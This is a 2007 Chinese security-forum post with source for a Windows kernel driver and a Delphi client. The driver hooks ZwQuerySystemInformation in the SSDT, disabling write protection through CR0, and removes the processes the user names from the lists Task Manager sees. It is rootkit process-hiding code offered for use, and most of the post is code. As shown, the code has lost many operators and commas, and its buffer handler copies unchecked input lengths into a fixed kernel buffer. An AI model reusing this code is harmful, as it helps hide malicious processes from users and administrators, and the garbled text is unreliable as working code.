标 题 【原创】对 Hook 内核ntoskrnl 'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善
作 者 sislcb
时 间
2007 - 12 - 20 , 17 : 17
链 接 http : //bbs.pediy.com/showthread.php?t=56830

通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了
:
http : //bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq . exe ; taskmgr . exe ;
通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)

驱动代码如下:
代码
:
///////////////////////////IoControl.h/////////////////////////////


#ifndef  ___HIDE_PROCESS_IO_CONTROL___
#define    ___HIDE_PROCESS_IO_CONTROL___




#define     HIDE_PROCESS_WIN32_DEV_NAME    L "\\Device\\HideProcess"
#define     HIDE_PROCESS_DEV_NAME        L "\\DosDevices\\HideProcess"


#define     FILE_DEVICE_HIDE_PROCESS      0x00008811


#define     IO_REFERENCE_EVENT         ( ULONG CTL_CODE ( FILE_DEVICE_HIDE_PROCESS 0x801 METHOD_NEITHER FILE_ANY_ACCESS )
#define     IO_DEREFERENCE_EVENT       ( ULONG CTL_CODE ( FILE_DEVICE_HIDE_PROCESS 0x802 METHOD_NEITHER FILE_ANY_ACCESS )
#define     IO_PASSBUF               ( ULONG CTL_CODE ( FILE_DEVICE_HIDE_PROCESS 0x806 METHOD_NEITHER FILE_ANY_ACCESS )


/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
*                                                                      *
*                             Struct Define                            *
*                                                                      *
************************************************************************/

typedef struct  _Event_Struct {
int  eventType ;
char  pname [ 255 ];
char  pid [ 255 ];
}
Event_Struct , * PEvent_Struct ;

typedef struct  _SECTION_IMAGE_INFORMATION  {
PVOID EntryPoint ;
ULONG StackZeroBits ;
ULONG StackReserved ;
ULONG StackCommit ;
ULONG ImageSubsystem ;
WORD SubsystemVersionLow ;
WORD SubsystemVersionHigh ;
ULONG Unknown1 ;
ULONG ImageCharacteristics ;
ULONG ImageMachineType ;
ULONG Unknown2 [ 3 ];
SECTION_IMAGE_INFORMATION , * PSECTION_IMAGE_INFORMATION ;


/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct  ServiceDescriptorEntry  {
    
unsigned int  * ServiceTableBase ;           //指向系统服务程序的地址(SSDT)
    
unsigned int  * ServiceCounterTableBase ;    //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
    
unsigned int  NumberOfServices ;            //表示当前系统所支持的服务个数
    
unsigned char  * ParamTableBase ;            //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
ServiceDescriptorTableEntry  , * PServiceDescriptorTableEntry  ;

extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;

struct  _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime ;
LARGE_INTEGER UserTime ;
LARGE_INTEGER CreateTime ;
ULONG WaitTime ;
PVOID StartAddress ;
CLIENT_ID ClientIs ;
KPRIORITY Priority ;
KPRIORITY BasePriority ;
ULONG ContextSwitchCount ;
ULONG ThreadState ;
KWAIT_REASON WaitReason ;
};

struct  _SYSTEM_PROCESSES
{
ULONG NextEntryDelta ;                  //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount ;                     //线程数
ULONG Reserved [ 6 ];
LARGE_INTEGER CreateTime ;              //创建进程的时间
LARGE_INTEGER UserTime ;                //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime ;              //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName ;            //进程的名字
KPRIORITY BasePriority ;                //线程的缺省优先级
ULONG ProcessId ;                       //进程ID号
ULONG InheritedFromProcessId ;          //继承语柄的进程ID号
ULONG HandleCount ;                     //进程打开的语柄数量
ULONG Reserved2 [ 2 ];
VM_COUNTERS VmCounters ;                //虚拟内存的使用情况统计
IO_COUNTERS IoCounters ;                //IO操作的统计,Only For 2000
struct  _SYSTEM_THREADS Threads [ 1 ];     //描述进程中各线程的数组
};

#endif

//////////////////////HideProcess.c///////////////////////////////
#include  < ntddk . h >
#include  "ntiologc.h"
#include  "ntimage.h"
#include  < windef . h >
#include  < stdio . h >
#include  < string . h >
#include  "IoControl.h"


VOID UnloadDriver ( IN PDRIVER_OBJECT DriverObject );
NTSTATUS HideProcess_Create ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp );
NTSTATUS HideProcess_Close ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp );
NTSTATUS HideProcess_IoControl ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp );

///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,       //查询系统服务类型
    
IN PVOID SystemInformation ,            //接收系统信息缓冲区
    
IN ULONG SystemInformationLength ,      //接收信息缓冲区大小
    
OUT PULONG ReturnLength );              //实际接收到的大小


typedef  NTSTATUS  (* ZWQUERYSYSTEMINFORMATION )(
          
IN ULONG SystemInformationClass ,
          
IN PVOID SystemInformation ,
          
IN ULONG SystemInformationLength ,
          
OUT PULONG ReturnLength );



NTSTATUS MyZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,
    
IN PVOID SystemInformation ,
    
IN ULONG SystemInformationLength ,
    
OUT PULONG ReturnLength );



////////////////////定义所用到的全局变量///////////////
extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;
unsigned long  OldCr0 ;
UNICODE_STRING DeviceNameString ;
UNICODE_STRING LinkDeviceNameString ;
ZWQUERYSYSTEMINFORMATION    g_OriginalZwQuerySystemInformation ;
int  position ;
PVOID   gpEventObject  NULL ;                //事件句柄
CCHAR     outBuf [ 1024 ];                         //输入缓冲区大小


#define  SEC_IMAGE  0x01000000


DWORD GetDllFunctionAddress ( char lpFunctionName PUNICODE_STRING pDllName )
{
HANDLE hThread hSection hFile hMod ;
SECTION_IMAGE_INFORMATION sii ;
IMAGE_DOS_HEADER dosheader ;
IMAGE_OPTIONAL_HEADER opthdr ;
IMAGE_EXPORT_DIRECTORY pExportTable ;
DWORD arrayOfFunctionAddresses ;
DWORD arrayOfFunctionNames ;
WORD arrayOfFunctionOrdinals ;
DWORD functionOrdinal ;
DWORD Base x functionAddress ;
char functionName ;
STRING ntFunctionName ntFunctionNameSearch ;
PVOID BaseAddress  NULL ;
SIZE_T size = 0 ;

OBJECT_ATTRIBUTES oa  = { sizeof  oa 0 pDllName OBJ_CASE_INSENSITIVE };
IO_STATUS_BLOCK iosb ;

//_asm int 3;
ZwOpenFile (& hFile FILE_EXECUTE  SYNCHRONIZE , & oa , & iosb FILE_SHARE_READ FILE_SYNCHRONOUS_IO_NONALERT );

oa . ObjectName  0 ;

ZwCreateSection (& hSection SECTION_ALL_ACCESS , & oa 0 , PAGE_EXECUTE SEC_IMAGE hFile );
  
ZwMapViewOfSection ( hSection NtCurrentProcess (), & BaseAddress 0 1000 0 , & size , ( SECTION_INHERIT ) 1 MEM_TOP_DOWN PAGE_READWRITE );
  
ZwClose ( hFile );
  
hMod  BaseAddress ;
  
dosheader  = ( IMAGE_DOS_HEADER  *) hMod ;
  
opthdr  =( IMAGE_OPTIONAL_HEADER  *) (( BYTE *) hMod + dosheader -> e_lfanew + 24 );

pExportTable  =( IMAGE_EXPORT_DIRECTORY *)(( BYTE *)  hMod  opthdr -> DataDirectory IMAGE_DIRECTORY_ENTRY_EXPORT ].  VirtualAddress );

arrayOfFunctionAddresses  = ( DWORD *)( ( BYTE *) hMod  pExportTable -> AddressOfFunctions );

arrayOfFunctionNames  = ( DWORD *)( ( BYTE *) hMod  pExportTable -> AddressOfNames );

arrayOfFunctionOrdinals  = ( WORD *)( ( BYTE *) hMod  pExportTable -> AddressOfNameOrdinals );

Base  pExportTable -> Base ;

RtlInitString (& ntFunctionNameSearch lpFunctionName );

for ( 0 pExportTable -> NumberOfFunctions x ++)
{
    
functionName  = ( char *)( ( BYTE *) hMod  arrayOfFunctionNames [ x ]);

    
RtlInitString (& ntFunctionName functionName );

    
functionOrdinal  arrayOfFunctionOrdinals [ x ] +  Base  1 ;
    
functionAddress  = ( DWORD )( ( BYTE *) hMod  arrayOfFunctionAddresses [ functionOrdinal ]);
    
if  ( RtlCompareString (& ntFunctionName , & ntFunctionNameSearch TRUE ) ==  0 )
   {
     
ZwClose ( hSection );
     
return  functionAddress ;
   }
}

   
ZwClose ( hSection );
   
return  0 ;
}

NTSTATUS DriverEntry  ( IN PDRIVER_OBJECT DriverObject , IN PUNICODE_STRING RegistryPath )
{
NTSTATUS status ;
PDEVICE_OBJECT   deviceObject ;

UNICODE_STRING dllName ;
DWORD functionAddress ;

   
RtlInitUnicodeString ( & DeviceNameString ,     HIDE_PROCESS_WIN32_DEV_NAME  );
   
RtlInitUnicodeString ( & LinkDeviceNameString , HIDE_PROCESS_DEV_NAME  );

    
KdPrint (( "DriverEntry Enter............................\n" ));
   
   
status  IoCreateDevice (
                
DriverObject ,
                
0 ,                     
                &
DeviceNameString ,
                
FILE_DEVICE_DISK_FILE_SYSTEM ,
                
FILE_DEVICE_SECURE_OPEN ,
                
FALSE ,
                &&nbsp;
deviceObject  );

    
if  (! NT_SUCCESS status  ))
    {

        
KdPrint ((  "DriverEntry: Error creating control device object, status=%08x\n" status  ));
        
return  status ;
    }

   
status  IoCreateSymbolicLink (
                (
PUNICODE_STRING ) & LinkDeviceNameString ,
                (
PUNICODE_STRING ) & DeviceNameString
                
);

   
if  (! NT_SUCCESS ( status ))
    {
        
IoDeleteDevice ( deviceObject );
        
return  status ;
    }

DriverObject -> MajorFunction [ IRP_MJ_CREATE ] =  HideProcess_Create ;
DriverObject -> MajorFunction [ IRP_MJ_CLOSE ] =  HideProcess_Close ;
DriverObject -> MajorFunction [ IRP_MJ_DEVICE_CONTROL ] =  HideProcess_IoControl ;

DriverObject -> DriverUnload = UnloadDriver ;


//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////

RtlInitUnicodeString (& dllName L "\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );
functionAddress  GetDllFunctionAddress ( "ZwQuerySystemInformation" , & dllName );
position  = *(( WORD *)( functionAddress + 1 ));

g_OriginalZwQuerySystemInformation  = ( ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]);

_asm
{
CLI                     //dissable interrupt
MOV    EAX CR0         //move CR0 register into EAX
AND EAX NOT  10000H  //disable WP bit
MOV    CR0 EAX         //write register back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]) =  MyZwQuerySystemInformation ;

_asm
{
    
MOV    EAX CR0         //move CR0 register into EAX
    
OR     EAX 10000H         //enable WP bit    
    
MOV    CR0 EAX         //write register back       
    
STI                     //enable interrupt
}

KdPrint (( "Hook ZwQuerySystemInformation'status is Succeessfully " ));


return  status  ;
}

NTSTATUS HideProcess_Create ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp )
{
DbgPrint ( "HideProcess_Create\n" );

Irp -> IoStatus . Status  STATUS_SUCCESS ;
Irp -> IoStatus . Information  0 ;
IoCompleteRequest ( Irp IO_NO_INCREMENT );

return  Irp -> IoStatus . Status ;
}

NTSTATUS HideProcess_Close ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp )
{
DbgPrint ( "HideProcess_Close\n" );

Irp -> IoStatus . Status  STATUS_SUCCESS ;
Irp -> IoStatus . Information  0 ;
IoCompleteRequest ( Irp IO_NO_INCREMENT );

return  Irp -> IoStatus . Status ;
}


NTSTATUS HideProcess_IoControl ( IN PDEVICE_OBJECT DeviceObject IN PIRP Irp )
{
NTSTATUS                    status  STATUS_SUCCESS ;
ULONG            controlCode ;
PIO_STACK_LOCATION      irpStack ;
HANDLE            hEvent ;
OBJECT_HANDLE_INFORMATION objHandleInfo ;
ULONG                       outputLength inputLength ;
PVOID                       inputBuffer ;


irpStack  IoGetCurrentIrpStackLocation ( Irp );
outputLength  irpStack -> Parameters . DeviceIoControl . OutputBufferLength ;
inputLength = irpStack -> Parameters . DeviceIoControl . InputBufferLength ;
controlCode  irpStack -> Parameters . DeviceIoControl . IoControlCode ;

switch ( controlCode )
{
case  IO_REFERENCE_EVENT :             //获取事件的句柄
    
hEvent  = ( HANDLE irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
    
status  ObReferenceObjectByHandle (
        
hEvent ,
        
GENERIC_ALL ,
        
NULL ,
        
KernelMode ,
        &
gpEventObject ,
        &
objHandleInfo );
    
if ( status  !=  STATUS_SUCCESS )
    {
      
DbgPrint ( "ObReferenceObjectByHandle failed! status = %x\n" status );
      
break ;
    }
    
DbgPrint ( "IO_REFERENCE_EVENT\n" );
    
break ;
case  IO_PASSBUF :      //应用层传输数据到驱动
    
inputBuffer  = ( char *) irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
        
RtlCopyMemory (& outBuf [ 0 ],  inputBuffer inputLength );
    
DbgPrint ( "IO_PassBuf:%s:%d" outBuf strlen ( outBuf ));
    
break ;

case  IO_DEREFERENCE_EVENT :
    
if ( gpEventObject )
    {
      
ObDereferenceObject ( gpEventObject );
      
gpEventObject  NULL ;
    }
    
DbgPrint ( "IO_DEREFERENCE_EVENT\n" );
    
break ;
default :
    
break ;
}

Irp -> IoStatus . Status  STATUS_SUCCESS ;
Irp -> IoStatus . Information  0 ;
IoCompleteRequest ( Irp IO_NO_INCREMENT );

return  status ;
}


VOID UnloadDriver ( IN PDRIVER_OBJECT DriverObject )
{
    
UNICODE_STRING uniWin32NameString ;
    
UNICODE_STRING LinkNameString ;
    
PDEVICE_OBJECT deviceObject ;

//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////

_asm
{
    
CLI                     //dissable interrupt
    
MOV    EAX CR0         //move CR0 register into EAX
    
AND EAX NOT  10000H     //disable WP bit
    
MOV    CR0 EAX         //write register back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]) =  g_OriginalZwQuerySystemInformation ;

_asm
{
    
MOV    EAX CR0         //move CR0 register into EAX
    
OR     EAX 10000H      //enable WP bit    
    
MOV    CR0 EAX         //write register back       
    
STI                     //enable interrupt
}

    
KdPrint (( "UnHookZwQuerySystemInformation'status is Succeessfully................... " ));
    
deviceObject DriverObject -> DeviceObject ;
    
IoDeleteSymbolicLink (& LinkDeviceNameString );
    
ASSERT (! deviceObject -> AttachedDevice );
    
if  deviceObject  !=  NULL  )
    {
        
IoDeleteDevice deviceObject  );
    }

}

NTSTATUS MyZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,
    
IN PVOID SystemInformation ,
    
IN ULONG SystemInformationLength ,
    
OUT PULONG ReturnLength )
{
NTSTATUS rc ;
STRING ntNameString ;
UNICODE_STRING process_name ;
char  * buf  , * haystack ;
char  cpOutBuf [ 1024 ];
char  * sep  ";" ;

strcpy ( cpOutBuf outBuf );
haystack  = & cpOutBuf [ 0 ];

rc  = ( g_OriginalZwQuerySystemInformation ) (
    
SystemInformationClass ,
    
SystemInformation ,
    
SystemInformationLength ,
    
ReturnLength );

if ( NT_SUCCESS ( rc ))
{
    
if ( ==  SystemInformationClass )
    {
      
struct  _SYSTEM_PROCESSES  * curr ;
      
struct  _SYSTEM_PROCESSES  * prev ;

      
buf  strstr ( haystack sep );
      
while ( buf  !=  NULL )
      {
        
buf  [ 0 ] =  '\0' ;
        
DbgPrint ( "%s" haystack );
        
RtlInitAnsiString (& ntNameString haystack );
        
RtlAnsiStringToUnicodeString (& process_name , & ntNameString TRUE );
               
        
haystack  buf  strlen ( sep );
        
buf  strstr ( haystack sep );

        
curr  = ( struct  _SYSTEM_PROCESSES  *) SystemInformation ;
        
prev  NULL ;
        
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );

        
while ( curr )
        {
          
if  ( RtlEqualUnicodeString (& process_name , & curr -> ProcessName 1 ))
          {
            
DbgPrint ( "hide process name taskmgr.exe" );

            
//找到要隐藏的进程
            
if ( prev )
            {
              
//要删除的信息在中间,则把指针指向下一个节点
              
if ( curr -> NextEntryDelta )
                
prev -> NextEntryDelta  +=  curr -> NextEntryDelta ;
              
else
                
prev -> NextEntryDelta  0 //要删除的信息在末尾,则直接把指针指向0
            
}
            
else
            
{
              
if ( curr -> NextEntryDelta )
                (
char  *) SystemInformation  +=  curr -> NextEntryDelta //要删除的信息在开头
              
else
                
SystemInformation  NULL ;
            }

            
//如果链下一个还有其他的进程信息,指针往后移
            
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );
            
else
            
{
              
curr  NULL ;
              
break ;
            }
            }

          
if ( curr  !=  NULL )
          {
            
//把当前指针设置成前一个指针,当前指针后移
            
prev  curr ;
            
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );
            
else  curr  NULL ;
          }
        }
                
RtlFreeUnicodeString (& process_name );
      }
    }
}

    
return  rc ;

}


三层的代码如下:
/////////////////////delphi code///////////////////////////

procedure TForm1 . btnHideClick ( Sender TObject );
var
dwReturn
DWORD ;
proname : array  [ 0..1023 of  char ;
begin
//创建设备
try
    
m_hCommDevice  :=  CreateFile ( '\\.\HideProcess' GENERIC_READ  or  GENERIC_WRITE FILE_SHARE_READ nil ,
                      
OPEN_EXISTING FILE_ATTRIBUTE_NORMAL 0 );
except
    MessageBox
( Handle '创建设备失败' '隐藏进程启动' MB_OK  MB_ICONWARNING );
end ;
//创建事件
try
    
m_hCommEvent  :=  CreateEvent ( nil false false nil );
except
    CloseHandle
( m_hCommDevice );
    
MessageBox ( Handle '创建事件失败' '隐藏进程启动' MB_OK  MB_ICONWARNING );
end ;

//发送事件句柄给驱动
DeviceIoControl ( m_hCommDevice IO_REFERENCE_EVENT pointer ( m_hCommEvent ),  0 nil 0 dwReturn nil );

StrPCopy ( @proname Trim ( edtProcessName . Text ));
DeviceIoControl ( m_hCommDevice IO_PASSBUF @proname sizeof ( proname ),  nil 0 dwReturn nil );
end ;

整个工程下载:
http
: //bbs.pediy.com/attachment.php?attachmentid=10497&d=1198196319